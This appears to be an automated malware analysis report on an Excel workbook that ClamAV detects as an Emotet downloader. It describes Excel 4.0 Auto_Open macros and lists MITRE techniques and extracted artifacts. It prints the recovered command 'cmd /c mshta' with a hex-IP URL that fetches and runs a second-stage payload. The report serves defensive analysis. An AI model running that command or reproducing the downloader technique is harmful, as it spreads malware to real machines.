MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Service Execution: Visual Basic
T1204.002 Malicious File: User Execution: Malicious File
The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies the file as a downloader associated with Emotet. The extracted macro script explicitly defines a string 'cmd /c mshta http://0xc12a24f5/cc.html' which is then used in a SET.NAME command. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL using mshta. The reconstructed command and URL are included as IOCs.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txta0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235 |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 653 bytes |
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